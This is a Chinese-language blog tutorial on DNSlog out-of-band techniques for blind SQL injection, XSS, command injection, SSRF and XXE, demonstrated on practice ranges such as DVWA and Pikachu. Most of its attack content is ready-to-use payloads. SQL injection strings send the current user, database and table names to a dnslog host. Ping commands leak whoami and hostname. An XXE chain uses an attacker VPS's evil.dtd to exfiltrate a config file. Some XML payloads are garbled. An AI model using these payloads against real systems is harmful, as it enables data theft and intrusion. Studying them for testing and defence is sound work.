花5分钟就能上手的dnslog盲打小技巧!

VSole2022-07-24 06:53:43

 1.什么是dnslog

DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件

 2.dnslog通常用在哪个地方

1.SQL盲注
2.无回显的XSS
3.无回显的命令执行
5.无回显的SSRF
5.Blind XXE

2.1.SQL盲注

无论时时间盲注还是布尔盲注,都需要发送大量的数据包去判断数据,很容易导致被waf封IP,如果条件允许的话,可以使用dnslog进行快速的数据外带。以Mysql为例,通过dnslog外带数据需要用到load_file函数,所以一般得是root权限,并且secure_file_priv得为空
payload:
select load_file(concat('\\\\',(select hex(user())),'.dnslog\\aa'));
注意:后面的aa文件存不存在不重要,随便写都行,但是必须要写,因为是load_file函数需要的条件
以dvwa靶场为例(已手动修改:secure_file_priv=”):
payload:
1' and (select load_file(concat('//',(select hex(user())),'.xxxx.ceye.io/as')))# //查看当前用户
1' and (select load_file(concat('//',(select database()),'.xxxx.ceye.io/as')))#  //查数据库
1' and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io/as')))#  //查询当前数据库第一个表,第二个类推

2.2.无回显的XSS

payload:
.9e5ehg.dnslog.cn>

然后回头看下dnslog,证明漏洞存在。

2.3.无回显的命令注入

发现疑似命令执行的洞,但是目标站点什么也不显示,无法确认是不是有漏洞。
windows:
ping %USERNAME%.us0r6c.dnslog.cn
linux:
ping `whoami`.us0r6c.dnslog.cn 或者 x=`hostname`;ping -c 1 $x.d7jlma.dnslog.cn

下面是windows常用的变量。
//变量                     类型       描述
//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
//%CD%                     本地       返回当前目录字符串。
//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%           系统       返回计算机的名称。
//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                   系统       指定可执行文件的搜索路径。
//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%     系统       返回处理器的版本号。
//%P ROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                   系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
//%USERNAME%               本地       返回当前登录的用户的名称。
//%USERPROFILE%            本地       返回当前用户的配置文件的位置。
//%WINDIR%                 系统       返回操作系统目录的位置。

2.4.无回显的SSRF

这边用的是vulhub的一个weblogic的ssrf漏洞。
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://rsr8pf.dnslog.cn
然后查看dnslog有记录,就很有可能存在ssrf漏洞

2.5.Blind XXE

这边用的是pikachu靶场,项目地址:https://github.com/zhuifengshaonianhanlu/pikachu
2.5.1.未修改源码前,可以看到是有回显的。
xml version="1.0" encoding="UTF-8"?>
]>
<value>&xxe;value>

2.5.2.修改源码,使其变成无回显。

xml version="1.0" encoding="UTF-8"?>
]>
<value>&xxe;value>
无回显,但是可以看到dnslog收到请求,证明xxe漏洞存在。

文件读取
注:这里需要一个VPS,VPS中放入一个DTD的文件,文件dtd内容如下:
"php://filter/read=convert.base64-encode/resource=file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini">
">
然后利用python3开启http服务。
python3 -m http.server --bind 0.0.0.0 1333

pyload:
"1.0" encoding="UTF-8"?>
"http://192.168.232.131:1333/evil.dtd">
%dtd;%int;%send;]>

burp suite提交数据后,vps获得一串base64编码。

将base64编码拿去解码后就是my.ini的文件内容。

 3.结语

以上就是斗哥的技巧分享啦!下期再见!

ssrfselect
本作品采用《CC 协议》,转载必须注明作者和本文链接
FastCGI与PHP-FPM FastCGI 快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。
利用SSRF渗透内网主机
2021-12-26 07:39:35
接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
ByteCTF-WriteUp
2021-10-19 06:38:36
/files../路由发现了目录穿越,在/var/lib/clickhouse/access/找到.sql文件,可以看到user_01用户名密码。
DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件?以Mysql为例,通过dnslog外带数据需要用到load_file函数,所以一般得是root权限,并且secure_file_priv得为空payload:。1' and # //查看当前用户。返回用来启动当前的 Cmd.exe 的准确命令行。通常用非零值表示错误。
0x00 前言好久没写真实漏洞挖掘案例了,今天写一笔。直接发漏洞细节很生硬,大家也学不到什么,只有带入感情,留下笔者的想法,才能产生共鸣,真正的帮助到别人。四个漏洞描述顺序:存储过程sql注入;
数据库注入提权总结
2022-08-10 15:52:54
首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询 。其次,只有数据库管理员才能使用 DBMS_LOCK 包。在 Oracle PL/SQL 中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:dbms_pipe.receive_messageDBMS_PIPE.RECEIVE_MESSAGE() 函数将为从 RDS 管道返回的数据等待 10 秒。
本篇文章通过 网络架构层、HTTP协议层、第三方应用层讲解了绕过WAF的常见方法一、网络架构层一般通过域名指向云WAF地址后反向实现代理,找到这些公司的服务器的真实IP即可实现绕过具体方法如下:1、查找相关的二级域名及同一域名注册者的其他域名解析记录。ISASP支持类似Unicode%u0027的编码,还会对不合法的URL编码进行字符删除。
代码审计,说白了就是白盒测试,审查代码检查是否有安全问题,核心就两点:跟踪用户输入数据+敏感函数参数回溯。
本文主要讲述Dnslog这种攻击手法在SQL注入中的实战运用,虽然网上对于Dnslog在SQL注入方面运用的文章也不少。但是很多文章都只是片面的提到了这个攻击方式,或者只是用某个简单的payload做了简单的验证。然而在实际的运用中,因为环境的差异,利用也不同。本文详细的记录了在多种常见数据库实际运用过程的一些细节,包括POC的编写和原理,和一些网上没有公开的利用POC。
浅谈net-ntlm的利用
2022-12-16 10:38:09
浅谈net-ntlm的利用。
VSole
网络安全专家